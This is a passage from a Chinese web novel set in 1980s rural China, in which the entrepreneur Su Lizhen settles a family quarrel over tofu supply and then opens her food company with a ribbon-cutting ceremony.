但是如果这养殖基地人人有份的话,情况就不一样了。为了利益,大家必然互相监督,一致对外,能最大程度维护养殖基地的安全。 另一方面,当初允许村民入股的一个条件就是今后不允许村民在家中饲养数目超过三只以上的鸡鸭,以此避免散户家里出现感染疫病的鸡鸭,进而影响到整个基地。 张家屯的村民对于能入股苏丽珍的养殖基地都十分高兴。一则是这几年得益于苏丽珍的帮扶,大家日子都富裕起来了,所以人们信得过苏丽珍,也乐意跟着她干。 再则,当初为了挣钱,几乎家家都是一边搞养殖、一边扣大棚种菜。钱是挣到了,可累也是真的累。加上中间也确实出现过有的人家因为实在忙不过来,对家里的鸡鸭疏于管理,结果鸡鸭闹了疫病,一死一大窝,甚至还牵连了左邻右舍。 时间长了,大家也就想明白了,他们每个人都不是三头六臂,做不到面面俱到,遇事不能“眼大,肚子小”。 老话说:那都得掂量着来。 所以一听说苏丽珍要在屯子里建养殖基地,还要带他们入伙,他们是一点没犹豫就答应了。 不让多养鸡鸭也没啥,别说人家起码还允许他们养三只,就是一只不让养,他们也没意见。 一分钱的心不操,年底直接就拿分红,这不比啥都强? 而且院子里不养那些鸡鸭了,干净利索的,大家也能专心管大棚。再不用担心屯子里哪家没留心,让鸡鸭遭了瘟,再影响了自家。 所以在双方都十分愿意的前提下,这养殖基地建立地十分顺利。 基地差不多跟食品厂前后脚开工,于今年五月底的时候完工,开始投入使用。 六月初,苏丽珍就通过凤城养殖场购买了鸡鸭雏各五千只,计划等首批鸡鸭长成后再自主进行繁殖育种工作,逐渐扩大养殖规模。 如今基地内的日常管理,苏丽珍都交给了张表舅负责。 张表舅为了不辜负苏丽珍一番信任,对基地的事十分上心,为此三不五时就跑到食品厂那边跟苏振东讨教管理经验。 除了张表舅和张家两个儿子外,她还特地聘请了一名经验丰富的兽医和两名擅长给鸡鸭育种的专业人员。 加上在屯子里雇的几名养殖好手和门卫、做饭等人,如今整个基地加起来也有十五人了。 目前基地尚处于初期阶段,事情多而杂,张表舅几乎整天都待在基地里。 上次她来时,就听门卫的工作人员提起过,说是张表舅已经半个月没回家了,委实辛苦。 苏丽珍和苏振东下了车,先直奔门卫接待室。 因为是养殖行业,所以基地内一般不允许闲杂人入内。如果有客人来访,第一站就是先在门口的接待室登记。 值班的人看见是苏丽珍过来,赶忙从屋里迎了出来。 苏丽珍跟他打了声招呼,正要问他张表舅是不是又许久没回家时,没想到这次却得了个意外答案。原来门卫告诉他们,今天午前十一点多的时候,张表舅的大舅哥来了,张表舅把人领回了家,到现在还没回来呢。 苏丽珍一听这话,原本准备迈进基地里的脚一下就顿住了。 她看了眼时间,现在已经快下午两点了,如果只是陈家大伯过来,以张表舅的性子不该耽误这么久,看起来倒像是被什么事拌住了。 于是,她便转头对苏振东道:“东叔,既然这样,咱们先去表舅家看看吧。” 苏振东自然没什么意见。 两人跟门卫打了招呼,然后就步行往屯中张表舅家走去。 路上,苏振东还忍不住开口道:“是不是老陈大哥有什么事啊?不过我今早看他给店里送菜的时候好像没啥问题啊!” 张表舅因为要负责养殖基地的事,自然没办法像从前那样帮火锅店和卤肉店收购食材。 不过自从食品公司成立后,卤肉店的业务就由食品公司统一管理了。 但还有火锅店呢。 尤其火锅店作为卤味最开始售卖的地方,所以卤味部分也一直保留着。只不过每日数量有限,勉强供到店的客人堂食而已。 加上店里无论是火锅、还是串串麻辣烫,每日需要的食材量都不小,还是需要有一个专门的采购人员。 张表舅就推荐了自家大舅哥陈家老大。 苏丽珍没怎么多想就答应了。 对于她来说,陈家大伯本身也是熟人,而且人品同样可靠。 食材至关重要,那自然越是知根知底的,越好。 所以现在就是陈大伯帮忙负责供应火锅店的食材。 苏丽珍听了苏振东的话,只道:“也许是咱们多心了,先去表舅家看过再说吧。” 叔侄俩很快到了张家。 这边乡下人家白天里总是习惯性敞着大门,所以两人直接就进了院子。 这会儿,院子里静悄悄的,这就有些不太寻常。 这两年苏丽珍来张家来得勤。除非是寒冬腊月,要不然每次她来时,院子里总是有人。 要么是张家的姨姥姥带着孙女和孙媳妇们搓玉米、做编织;要么是孙辈几个淘气小子蹦跳玩闹,还从没像今天这样安静过。 叔侄俩对视一眼,都没吱声,穿过院子,继续往正房走。 快到正房门口时,苏丽珍顺着东边正房敞开的窗户,一眼看到屋内临窗大炕上正背对他们坐着的姨姥姥和陈大伯。 在往里,是侧对着窗户的张表舅,然后是其他张家人。 第一眼确定张表舅他们都在,苏丽珍下意识露出笑容,刚要出声喊人时,屋里忽然传来一道央求声: “爹,您老就帮俺说一句话吧!俺娘家为了建这个豆腐坊把这些年的老本儿都搭进去了,俺不能眼睁睁看着这豆腐坊倒了啊!” “现在只要t您帮儿媳跟珍珍说一声,让她那厂子能收俺娘家做的豆腐,那俺娘家就有活路了!” 听了这两句话,苏丽珍唇角的笑意便淡了下去。 第158章 很快,屋里就响起张表舅斩钉截铁的拒绝声:“不可能,我绝不会给你开这个口!人家看得起我这张老脸,愿意给我一碗饭吃,我不能恩将仇报,带头破坏规矩!” “爹,俺娘家做的豆腐,您老也尝过,味道肯定没得说。俺知道苏家那厂子挺大的,反正都是要豆腐,咋就不能把俺娘家也算上呢?俺可以做主给她合个最低价……爹,大伙儿都知道老苏家看重您和俺娘,这事只要您跟俺娘开口,苏家肯定能答应!俺求您了,您就答应俺这回吧!” “老二媳妇,话不是这样说的!就不说这几年咱家这日子是靠谁起来的。就说村头那么大一家养殖场,里头还有咱家的份,这事外人不清楚,你还不知道吗?咱当初拿的那点钱哪里就值8%,这还不算,人家当初可是一开口就要给10%的,是俺和你公爹、婆婆说死了不肯,人家才改的口。” “这是多大的恩情啊!结果你现在一张嘴就让你公爹去找苏家,非让人老苏家买你娘家的豆腐,这往小了说叫不懂事,往大了说就是没良心!人老苏家不该咱的,是咱欠了人家的!这些日子,你公婆、还有俺这老婆子,把这理儿翻来覆去掰碎了说给你听,你咋就一点也听不进去啊!” 苏丽珍听出这是姨姥姥的声音。 而她老人家口中的“老二媳妇”,应该是张表舅二儿子张宝海的媳妇。 想起刚刚表舅和姨姥姥的话,她不由面色稍缓。 屋里张宝海媳妇兀自道:“奶、爹,俺也知道俺这样有点不讲究,可俺这不也是实在没有办法了吗?这豆腐坊要是真开不下去,那俺弟弟妹妹以后别说跟咱家孩子一样上学读书,那吃饭都要成问题了!俺不能不管啊!” 张表舅听了这话不由叹了口气:“当初亲家为这事找我来借钱的时候,我就劝过。咱乡下人做买卖经验少,要是没个可靠的人领着,光靠自己,那就得千万加小心,可不能把步子迈太大。” “怕亲家多心,我钱照旧借了,只盼着亲家看在我还算诚心的份上,能把话听进去……算了,现在说这些也没用了。” “老二媳妇,借给亲家的钱,我们也不要了。等晚上你娘下班回来,我让她再给你拿些,你回头给亲家送去先应应急。我没能耐,也就只能做到这个份上了。至于旁的,你也不用再求我了,我是不可能答应的!” 张表舅的语气十分坚决,张宝海媳妇忍不住带上了哭腔:“爹,俺不要钱!只要俺家豆腐坊起来了,俺娘家既不用您帮衬,也能把之前欠您的钱还上。” “爹,俺嫁进张家这么多年了,俺从来没为啥事开过口。您这次就看在俺的份上,帮俺一把吧!俺保证,就这一次,再没有下回了!求您了!” “二嫂,你别为难爹了!” 屋里突然响起张家老三张宝洋的声音:“有些事不说透,但你也别打量谁都是傻子!你说你娘家困难,爹不但答应不用你们还钱,还张罗继续拿钱给你们应急。就这样,你还死活不干,非逼着爹去找苏小老板求情,让人家买你们家豆腐。我看你这不是困难,你这就是贪心!贪心地恨不得算计所有人!” 苏丽珍这个角度看不太清张宝洋的位置,但从少年冷漠中透着愤怒的声音看,小伙子显然是气得不轻。 屋里气得不轻的张宝洋接着又把矛头转向了别人:“二哥,你也别缩着不出声!难道你就一直看着二嫂这么折腾下去?” 张宝洋话音一落,苏丽珍就听见张表舅大儿子张宝江也开了口:“老二,大哥说一句,咱家有今天不容易,你得拎得清!” 张宝海媳妇立即出声道:“宝海,你记得你以前答应过俺,说以后啥事都听俺的!俺现在不求你啥事都听俺的,就独独今天这事,俺求你帮帮俺!” 张宝海一直没出声。 屋子里一时陷入了沉默, 这件事情中,张宝海的压力无疑是最大的,夹在父母兄弟和妻子之间几乎是左右为难。苏丽珍站在院子里都能感受到他的焦灼。 也不知道过了多久,张宝海才艰难地吐出一句:“爹、奶,晚霞……晚霞她刚查出两个月的身孕……” 晚霞就是张宝海媳妇的名字。 一听这话,苏丽珍和苏振东对视一眼,知道不能再这么等着了。 苏丽珍果断出声道:“姨姥姥,表舅,我来了。” 这一嗓子直接把屋里人都吓了一跳! 张家人看见苏丽珍和苏振东来了,也不知道这对叔侄来了多久,有没有听见他们先前说的那些话,一时又是羞愧、又是紧张,肉眼可见地不安起来。 苏丽珍和苏振东进屋后,才发现这屋里人的确不少,除了之前出声的张家三兄弟,还有张表舅的大儿媳妇也在。 苏丽珍先是若无其事地跟众人挨个打了招呼,然后才亲热地拉起姨姥姥的手,紧挨着老人家坐在了炕沿上。 外面暑伏未过,气温还有三十度,可此刻姨姥姥的手却冰凉冰凉的。 苏丽珍心里叹了口气,果然是家家有本难念的经。 她一边用手心给老人暖手,一边对张家众人道:“虽说是有些不讲究,但大家刚刚的话,我和东叔也都听得差不多了。” 一听她这话,张家所有人脸上都露出羞惭的表情。 便是之前一直央求的张宝海媳妇脸色也有些发红,忍不住低下了头。 但她到底存了心思,所以尽管面上显出几分难为情,却忍不住一直偷偷抬眼往苏丽珍这边瞟。 那点心思简直叫人一目了然。 她这副样子样子落在同挨着苏丽珍坐下的张家老太太眼里,越发满心满眼的难受。 老太太自觉一辈子没给谁添过麻烦,没想到临老了,不但要给人添麻烦,而且这麻烦还添到了自家恩人身上,真是恨不能当场有个地缝就钻进去。 老太太心里愧得慌,也越发打定主意,说啥也不能叫孙媳妇把那丢人的话再说出来。 她深吸了一口气,正准备开口把人赶出去,这时苏丽珍忽然轻轻捏了捏她的手。 张老太太下意识侧头,就见苏丽珍目露宽慰地朝她轻摇了下头,示意她先什么也别说。 而苏丽珍安抚了老人家后,便把目光转向张宝海媳妇,笑吟吟地主动说道:“二嫂的意思,我明白。这事按说也不算什么,毕竟表舅和舅妈在我心里还是很重要的。原本就算是冲着他们,我也愿意给二嫂一个试试的机会。” 一听这话,张宝海媳妇只道这事有门,两只眼睛瞬间一亮,眨也不眨地紧盯着苏丽珍看。 “珍珍……”张表舅以为苏丽珍真要一口答应下来,顿时急了,正要开口阻拦,却被苏振东轻轻按住,叫他先听苏丽珍说完。 苏丽珍继续道:“只是这话今天还是提得太晚了。我那厂子里目前已经签了两家大型豆腐坊的供应合同。二嫂可能不清楚,一家企业想立足,除了产品质量过硬,同时最讲究的就是‘诚信’二字。” “虽说那厂子是我开的,可事情总得讲个先来后到吧?我不能为了照顾嫂子,就故意毁约,把人家什么错误都没犯的两家豆腐坊一脚踢出局。” “这既砸招牌、又得罪人的事,我想就算是换了嫂子来当这个家,恐怕也不能答应吧?” 苏丽珍把话说到这个份上,就是傻子也听明白她什么意思了。 张宝海媳妇此时一张脸更是红得发紫。 偏偏苏丽珍还在说:“也怪二嫂太见外,既然自己娘家有这么好的东西,当初就该直接找我去谈。就像二嫂说的,反正我那厂子要收豆腐,那用谁家不是用呢!二嫂大气,说不上就要给我合个全市最低价,想来这事最后倒是我亏了。” “所以嫂子,你下次千万别客气,有什么事就直接找我,别麻烦表舅了。要知道表舅他现在负责的养殖基地是头等大事,不光我、还有咱们张家屯的乡亲们都指望着他呢。t” “二嫂为这事去找表舅,表舅再来找我,来来去去耽误事儿不说,也浪费他自己和咱们张家屯大伙儿的时间。” 一席话说得张宝海夫妻俩抬不起头,张宝海媳妇更是像霜打的茄子,彻底蔫了。 而同为一家人的张家人其实也不太好受,尤其年纪小又最要强的张宝海,连看都不敢看苏丽珍叔侄一眼,只强撑着把脸扭向一边去。 苏丽珍这边则是见好就收,看敲打得差不多了,就没继续往下说。 一则是张宝海媳妇现在怀着孕,不能逼太紧;再者,毕竟是表舅、姨姥姥的至亲,场面撕扯得太难看,一家人以后也容易生隔阂。 于是,她又话锋一转,说道:“不过二嫂,虽说这事是耽误了,但我前面也说过,表舅和舅妈在我心里不比旁人,我是一定要考虑他们的。所以你这事在我这儿,倒也不是没有别的办法。” 张宝海媳妇一瞬间还以为自己听错了,有些不可置信地抬起头。 苏丽珍继续往下说道:“我那公司明天开业,工厂也从试生产转为正式生产。按约定,公司正式投产后,工人就要倒班了,食堂也要提供一日三餐。” “公司现在加起来大约有一百人,食堂规模比不了大厂子,但总体需求也不算小。二嫂如果愿意的话,可以为我的食堂提供豆腐。一周送五次,大豆腐和干豆腐轮换着来。像油豆皮这种能长期存放的,你娘家做多少都可以送过来。” “二嫂,你觉得怎么样?” 张宝海媳妇简直听傻了。原以为冲着之前苏丽珍那番话,这事算是彻底拉倒了,没想到峰回路转,最后还能得到这样的结果,叫她咋能不惊喜! 一旁的张老太太看儿媳妇这样,心里又气又无奈,实在是恨铁不成钢。 “老二媳妇,你还愣着干啥?赶快谢谢人家珍珍啊!这不就是你一直巴巴惦记的吗!” 张宝海媳妇这才反应过来,赶忙冲着苏丽珍一叠声地道谢:“俺愿意!谢谢珍珍、谢谢!” 苏丽珍接受了对方的道谢。 不过,有些话还是得提前说好。 “二嫂,咱们在商言商。明天你让你娘家人到我公司,咱们签个正式合同。你们的豆腐必须保质保量,我们也会按时足额付款,这对咱们双方都是一个保障。” 张家这两年为苏家收食材,加上张表舅也管了一段时间养殖基地,耳濡目染之下,张宝海媳妇也知道买卖双方签合同这事,明白这确实如苏丽珍所说,是对买卖双方都好的事,当下痛快地答应道:“好,那俺明天就带着俺爹妈一起过去。” 而且过了最初的激动劲儿,她到底是有几分精明的,忙又保证道:“苏小老板放心,俺回头一定跟俺爹妈说好了,让他们好好做,保证给您家食堂送的豆腐都是最好的!” 苏丽珍淡淡一笑:“那我就信着二嫂了。” 说定了这个事,屋里的气氛明显缓和了不少。 只是张表舅脸上惭愧之色愈重。 苏振东见状,忙主动拉着他问起养殖基地的事,好转移话题。 陈大伯也跟着配合。 有这两人开了头,张表舅本身又是个负责的人,很快就把注意力放到养殖基地上,非常认真地给苏丽珍汇报起基地的工作来。 养殖基地这段时间一切顺利。 那一万只鸡、鸭雏如今长势良好。从农大教授那里学到的蚯蚓养殖方法很有成效,第一批蚯蚓已经养成,经过简单加工后和饲料一起投喂给鸡鸭们,鸡鸭长得更快了。 照这个速度发展,到下月初,这一批鸡鸭就能达到出栏的标准。 单说鸡,就目前各大养殖场常用的黄羽鸡/鸡种来说,这个生长速度就很快了。 苏丽珍工厂选用的都是毛重三斤多一点的当年鸡,鸡屠宰收拾干净后,要保证净重达到二斤。 鸭子是更适合卤制的瘦肉型鸭/种,出栏毛重在三斤半左右。 只是这第一批鸡鸭,主要以繁育为主,暂时不会出栏。 再有就是基地北边为养鸭子挖的池塘,五月初的时候,张表舅往里投了一批鱼苗,并且定期撒饲料投喂。 前两天他偶然捞了一网,里面的鱼已经长到巴掌大小了。 这鸡鸭还没养成,鱼倒是能先吃了。 张表舅惦记着苏丽珍喜欢吃鱼,这两天就想着捞一盆鲫鱼,叫张舅妈带去给苏丽珍熬鱼汤喝。 苏丽珍听完就笑道:“那敢情好。这是表舅亲自养大的鱼,虽说不是给我养的,但谁叫我有这个口福,我到时候说什么也得好好尝尝。” 众人听完不由都笑了起来。 笑过之后,苏丽珍便叮嘱张表舅,让他等今年池塘里的鱼长大了就捞出来一些给员工们加餐。 “表舅,您也别舍不得,趁着现在,大伙儿还能吃上几条。等来年鸭子多了,那可就轮不着咱们了。好歹是您亲自养大的,总得叫大伙儿都尝尝才好。” 她这么一说,这下连张表舅也笑了。 眼见着气氛好了,张宝海媳妇这时候期期艾艾地上前道:“珍珍啊,晚上留下吃饭呗!嫂子给你炖鱼,贴饼子,行不?” 苏丽珍就笑道:“我也不跟二嫂见外,就是这大热天的,是真有点吃不下这炖锅菜。我来时看地里的玉米长得挺好,不如二嫂叫二哥给我掰几穗,咱们煮了吃吧。” 说完,又转向一直没怎么开口的张家大哥张宝江的媳妇:“还有大嫂,去年夏天来时,我记得您给蒸了一碗鸡蛋辣椒焖子,那味道特别好,又香又下饭,我惦记了好久。大嫂能不能今天再给我蒸一碗?” 张家大媳妇有些受宠若惊,她不如张宝海媳妇能说会道,但是心里一向有数,连忙道:“行,大嫂给你蒸!” 似乎觉得只说这一句显得敷衍,她又试探道:“光吃鸡蛋辣椒焖子太单了,嫂子再给你蒸几个茄子、土豆,炸一碗肉酱,伴着吃,咋样?” 苏丽珍笑眯眯点头:“还是嫂子了解我,这可太对我胃口了。那就麻烦两位嫂子了!” “哎,不麻烦、不麻烦!” 张家大媳妇喜滋滋答应了一声,乐颠颠地就往屋外走。 临走前拉了拉自家二弟妹衣袖,后者就跟着一起出去了。 两个儿媳妇走了,张家老太太又把三个孙子也撵了出去。 “都去掰苞米去!记得多掰点,回头叫珍珍和她叔带回去给大伙儿分分。” 她说着就爱惜地拍了拍苏丽珍的手背:“也不是啥好东西,难得你想吃,这次就多带点回去。煮汤、烤着吃都行!” 苏丽珍笑着点头,也没跟老人家客气。 第159章 张老太太看她大大方方的样子,心里更加喜欢,只是想起自家这次办的事,又实在愧得慌。 这会儿屋里几个小辈都出去了,老人家才跟苏丽珍说起这事的来龙去脉。 张宝海老丈人家里条件不好,比原先张表舅家还困难些。 那老两口虽是农村人,但是侍弄庄稼的本事却不多,前些年吃大锅饭还不显眼,自打前年包产到户后,老两**计跟不上,日子还不如从前。 后来为了谋生计,他老丈人就凑了一笔钱,四处求人学了一门做豆腐的手艺。 学会了手艺后,他老丈人就开始自己做豆腐,然后挑着担子到镇上卖。一开始艰难些,等后来渐渐有了口碑,生意一天比一天好,一担豆腐六、七十斤基本每天都能卖掉。 去年一整年,张宝海的老丈人靠着卖豆腐小赚了一笔。 手上有了钱,他老丈人自觉有了底气,就想要大干一场。嫌弃家里的磨又小又破,磨得浆子不够细,他老丈人就花大价钱找人打了一口大石磨。 只是他家底子太薄,光这一口大磨就把先前卖豆腐攒的钱都花光了。 有了磨,这人又觉得房子小,放不下磨盘,一咬牙,又东拼西凑、四处借钱盖了间新房子安磨,算是建了一家小豆腐坊。 等什么都准备好了,正当张宝海这老丈人准备大干一场的时候,谁成想镇上忽然多了好几份跟风卖豆腐的。 更糟糕的是,这些后来的跟风者为了抢生意,一度把豆腐价格压得很低不说,个别人甚至还故意造谣诋毁竞争对手。 作为镇上最早卖豆腐获利的张宝海老丈人,更是被污蔑最厉害的人。 因为这种种原因,他老丈人家的豆腐就越来越不好卖。 而食品类的t东西,你越卖不动,顾客就越少,几乎是一个恶性循环。 所以到后来,张宝海老丈人几乎一天都卖不出十斤豆腐。 眼见着投入了那么多,就指着这小豆腐坊回本呢,凭空来了这么一下子,他老丈人一家瞬间就跌入了谷底。 张宝海的媳妇没法眼睁睁看着自己娘家这么被拖垮,只好来找张表舅夫妻俩求情,希望他们能帮忙说动苏丽珍收购她娘家的豆腐。 这事已经闹腾了有一段时间了,期间张表舅夫妻俩一直没松口。 本以为张宝海媳妇已经死心了,没想到昨天回了一趟娘家,今天就又闹起来了,连陈大伯都给惊动了。 张老太太说完,许久没作声的张表舅才深深叹了口气,语带惭愧道:“珍珍啊,今天这事,是我们家对不住你,我没把孩子教好……” 苏丽珍连忙宽慰对方:“表舅,您别这么说。二嫂这事也不是什么大事,况且就算不从大勇哥那边论,单看咱们两家这几年的交情,我也会帮一把。咱们一码归一码,您和舅妈、姨姥姥都是我在意的人,我不可能为了这点事,就看着你们为难。” 一旁的张老太太不由握紧了苏丽珍的手,再没有说什么。 张表舅面上仍带着几分沉郁,面对苏振东和陈大伯的开解,也只是勉强露出笑模样。 他心里明白,自家这些年几乎就是苏丽珍一家硬拉着起来的。 没有苏家,他们老张家算个啥? 一家老小才靠着人家起来几天,就又惦记上人家别的好处了。这事说破大天去,也是他们家没脸。 而且交情都是需要你来我往小心维护的,没谁非得一次次让着你、可着你,感情是最禁不起消耗的。 想到这,他不禁捏紧了拳头,心里默默做了个决定。 不能再闹出这样的事了。 他宁愿一辈子受穷,也不想让张家出了“白眼狼”。 从张家出来,叔侄俩开车直接回凤城。 路上,苏振东还忍不住提起这事:“珍珍,我看那宝海媳妇虽说心思多了些,但人品应该没多大问题。这两年芽芽跟宝丫玩得好,我听她回家提过,说张家两个嫂子对她都很好,她在张家待得挺舒心的。” 芽芽很聪明,自从心理疾病慢慢康复后,她身上那股子机灵劲儿就越发明显。加上从前因为家庭原因,比较敏感,好多事情就算你不说,她也心里有数。 所以现在,苏振东有什么事都不瞒着她,从不因为女儿年纪小就随意敷衍。 苏丽珍便道:“东叔,今天当着张二嫂的面,我已经把想说的话都说了,这件事在我这里就算翻篇了,过后我也不会再去计较。” “更何况这事本来也不大,看在表舅和舅妈的面子上,我更不会拒绝。” “我只是想起前一阵子,舅妈在店里时偶尔自己会发呆。我和我妈那会儿还特意问过,她也只说是天气热的。因为当时也没有别的异常,所以我们就都没在意。现在想想,大概根源也在这件事上。” 苏振东不由感叹道:“张大哥两口子都是实诚人。” 苏丽珍点了点头。 正因为如此,她才会看在张表舅夫妻的面子上,直接给这个张家二嫂“开后门”,变相帮她娘家解决烂摊子。 更是因为珍惜张表舅和姨姥姥对她的这份坦诚和爱护,她不愿让他们陷入两难的处境,所以才会在一听说张宝海媳妇怀孕的那一刻,立马出声,叫停了这场争执。 晚上,饭店关门后,苏丽珍才把白天在张表舅家里的事告诉苏卫华和李翠英。 夫妻俩听完,李翠英感叹道:“你表舅和舅妈也不容易。” 苏卫华则直接夸起闺女来:“珍珍这事处理得挺好。咱这地方最讲究人情,有些事躲不开,在不影响基本原则的情况下,适当通融一下也没啥。但是也得注意,别让人觉得你太好说话,啥事不能一而再、再而三。” “闺女,爸知道你是有大目标的人。可惜我跟你妈能力有限,也帮不上啥忙。以后要再有这种事,你要乐意也就算了;要是不乐意,你就都往我们俩身上推,我们当爹妈的不同意,谁也说不了啥。” 李翠英也点头:“你爸说得对!我跟你爸现在算是练出来了,遇事能抹得开脸了,也不怕得罪人。” 苏丽珍被妈妈难得带了几分自得的语气逗笑,不过还是认真点了点头。 虽然她从没打算让爸妈去面对这种烦心事,但是每次看到他们随时准备站出来为她遮风挡雨的样子,她心里就一片温暖,舍不得说出拒绝的话。 而张舅妈当天回家,从自家男人和婆婆那里知道了白天的事后,第二天再来时就找了个空挡,郑重跟苏丽珍一家道了谢。 张舅妈一贯是个敞亮性子,大大方方道完谢,之后表现一律如常,苏丽珍一家便也只当这事算是过去了。 哪想,直到苏丽珍开学去了首都,一次周末和家里通电话的时候才得知,原来张家在这事过后没几天竟然分了家! 分家的时候,丁大勇和丁大娘也被请了去。 丁家母子俩是去作见证的,也是因为这次分家,他们才知道之前张宝海媳妇闹出的事。娘儿俩本想劝几句,但是张表舅夫妻态度坚决,也只得作罢。 后来,张家又把几个亲家和屯子里的老支书和大队长都请了去,一天的工夫就把家分完了。 过后,张家还拜托丁家母子先别把分家的事告诉苏家。 结果分家才半个月,张家老太太就因为郁结于心病倒了,幸亏送医院送得及时,要不然人就危险了。 苏家也是那时候才知道张家出了这么大的事。 要知道张表舅夫妻俩的小儿子和小闺女还没成年呢,这个时候分家其实于老两口来说是吃亏的,就算是张家大儿子和二儿子,名声上也不太好听。 为着张表舅夫妻俩这份苦心,苏家人心中也很是感慨,自此待张家更加亲厚。 当然,这些都是之后发生的事。 而这一晚,苏丽珍什么也没有想,她听了家人的话,早早就熄灯睡觉了。 因为明天就是22号,那才是对她来说,期待已久且至关重要的日子。 她的未来是否会像她希冀的那样足够强大,能否保证让身边在乎的所有人都快乐自在地过一生,明天将是实现这一切的开始。 8月22号当天,苏丽珍早早起床。 吃完了一顿由苏爷爷亲自下厨做好的丰盛早餐,换上一身特地为今天准备的新衣裳,苏丽珍就下了楼。 七点整,苏振东准时把汽车停在饭店门口。 一家老小都要去公司那边,解放车车厢小,副驾驶位勉强能坐下两个人。这么多人肯定坐不下,苏丽珍正说到时候安排司机再过来接一趟。 哪成想苏厚德第一个不干。 “浪费那油钱干啥,我们直接坐车斗里就行!” 孟知祥也乐呵呵地伸了伸胳膊腿:“老长时间没坐了,别说还怪想的!” 苏丽珍哪能让两个老人坐后头车斗,正说让他们带着芽芽先上车呢,这时,迎头突然“滴滴”两声车喇叭响,她抬头看去,却是沈瑞开着吉普车过来了。 看见苏家人都在门口,他脸上露出一抹温和亲近的笑意:“我还担心来晚了,幸好赶上了。” 众人没想到他来这么早,李翠英赶忙道:“小瑞啊,你咋来这么早,是不是还没吃饭呢?” 沈瑞点头,笑道:“婶婶别担心,我吃过了。本来我是想直接到新公司那边的,只是我想着你们今天大概都要过去,担心你们车不够安排,所以顺道拐了个弯过来,看看有没有需要我跑腿的。” 一听他这么说,苏卫华不禁乐道:“还是小瑞细心啊!” 苏厚德和孟知祥对视一眼,两个老人都乐呵呵不说话。 苏振东忍不住往苏丽珍那边看了看,见她眼中也露出高兴的神色,心里便十分满意。 自打昨天存了那个念头,他就不自觉拿看女婿的眼光看沈瑞。 只恨不得对方时时处处表现得体贴周到才好。 有了沈瑞的吉普车,一家人正好都能坐下。 等到了公司,苏丽珍顾不上跟沈瑞说几句话,就开始忙碌起来。 庆祝开业的条幅已经提前一天挂好。苏丽珍安排几个保安在大门和两侧铁栅栏上都插t上了印着“珍珍”标志的鲜艳彩旗,又在公司大门前的水泥地面上铺了一大块红毯。最后,又把二十多只她之前特地找人订做的花篮整齐摆放在红毯靠后的位置上。 这么一布置,原先还略显空旷单调的大门脸一下就鲜活隆重起来。 条幅和彩旗就不说了,眼下凤城市内人们还没见过这种样式精美的花篮。所以这些花篮一摆好,别说本就喜欢花花草草的女士们,不少男士们也忍不住上前细细欣赏起来。 过了八点以后,客人们陆续来了。苏振东联系的锣鼓队和秧歌队也已经到齐,热闹的锣鼓声说话间就响了起来。 今天受邀参加开业典礼的客人除了像安家、薛家、卢家这样的老熟人之外,苏丽珍还特地邀请了刘五爷、凤城禽类养殖场胡场长和分管本辖区的孔区长。 刘五爷是带着家属来的,大概是反应过来昨天给苏丽珍和自家小儿子牵线的事办的不地道,今天看见苏丽珍还有些讪讪的,好在苏丽珍全程表现自然,看见他们夫妻还一口一个“五伯”“五大娘”的,刘五爷这才松了口气。 孔区长和胡场长是一块来的,两人原来是高中同学,难得半道碰上,就结伴一起过来了。 他们其实对苏丽珍不是很熟,不过一个是基于合作关系良好,耐不住对方盛情相邀,不好意思不来;一个则是因为对方的企业正好在自己分管的辖区内,于情于理都该走一趟。 而且两人心里都觉得对方只是个体户出身,如今摊子虽说铺起来了,但后续实力未必跟得上,未来前景究竟如何实在不好说。 尤其是胡场长,尽管不像外头某些人那样对干个体的人百般不待见,但由于自身优越性所产生那点轻视还是有的。 所以两人来之前只当这一趟是走流程,随便露个脸就成,其实也没太上心。 没想到等他们俩到了地方,放眼这么一瞧,只见现场是锣鼓喧天,彩旗招展,红底金黄大字的条幅格外显眼。 还有正门前的红地毯上,那一大簇、一大簇的鲜花插在半人高的精编蓝筐上,鲜艳得比扭秧歌人手里的彩扇还好看呢! 嚯,真是好热闹的场面啊! 第160章 孔区长和胡场长一下就来了精神! 这么隆重的场面可完全出乎他们意料,所以一跟主动出来迎接的苏丽珍碰上头,两人就忍不住夸赞起来。 “小苏同志真是年轻有为啊,这开业典礼准备得真是不错!” “苏小老板,你这场面弄得也忒大了,我可好久没碰见这么热闹的场面了!” 苏丽珍谦虚道:“哪里哪里。孔区长、胡场长,您二位今天能来,才是真给我们添了光彩,我们珍珍公司全体上下可是荣幸至极。” 孔区长和胡场长听她这么说,面上虽不显,心里却十分受用,态度也越发亲切起来。 双方寒暄了几句,苏丽珍看了眼手表:八点五十分,距离典礼开始还有八分钟。 这会儿客人基本都到齐了。她朝苏振东比了个手势,后者会意,立马安排自家的公司员工上红毯,准备剪彩仪式。 这些员工是苏丽珍特地为今天仪式挑出来的几个年轻姑娘。 女孩们此时身穿白色衬衫,黑色西裤,手里端着盛放大红绸带和金色剪刀的红布托盘,一个个精神十足。 看这边一切就位后,苏丽珍便顺势邀请孔区长和胡场长参加剪彩仪式。 两人听完一愣,没想到还有剪彩仪式,这场面、程序属实是超过他俩预期。 不过,能被主家邀请剪彩毕竟也是一种肯定,但凡有点进取心的人都不愿错过。 更别说今天“珍珍”食品公司的开业典礼还搞得这么盛大! 他们刚刚可还看见了人堆里扛着摄像头和照相机拍来拍去的人,想来应该是哪个报社的记者了。 这么露脸的事,谁能忍得住拒绝啊! 孔区长和胡场长忍不住,所以压根没跟苏丽珍客套谦让,两人是第一时间就满口答应了。 等走上了红毯,他们才发现今天一块受邀剪彩的来宾还真不少。 有市公安的卢局,消防的唐大队……嗯,那个好像是市纺织厂的安厂长……哎呦,他旁边那个大光头不是“黑市”一霸刘五爷吗? 这种硬茬子也来给“珍珍”食品公司剪彩?连这样的人物都认识,这老苏家还真有点门道。 还有这个长得比电影明星还清俊的小伙子,虽说眼生,但这一身的气派一看也不是普通人啊!要叫他们看,那最低是个高干子弟。 想不到这苏小老板的人脉这么广! 孔区长和胡场长对视一眼,都在彼此眼中看到了一抹震惊。 看来是他们之前小看了人家,果然能在改开后短短几年时间就积累资本圈地、开厂子的人家不是一般人啊。 孔区长和胡场长内心的震惊,外人并不知道。 这会儿锣鼓声已停,现场逐渐安静下来,所有人的目光都集中在红毯上即将开始的揭牌剪彩仪式上。 随着苏丽珍和苏振东一起将公司牌匾上蒙着的红绸子一把揭开,露出上面醒目的“珍珍食品有限公司”一行大字,受邀嘉宾们也在主家邀请下纷纷拿起各自面前的金剪刀,“咔嚓”一声,将相连的大红绸带剪断,只余中间几枚鲜艳夺目的大红花球。 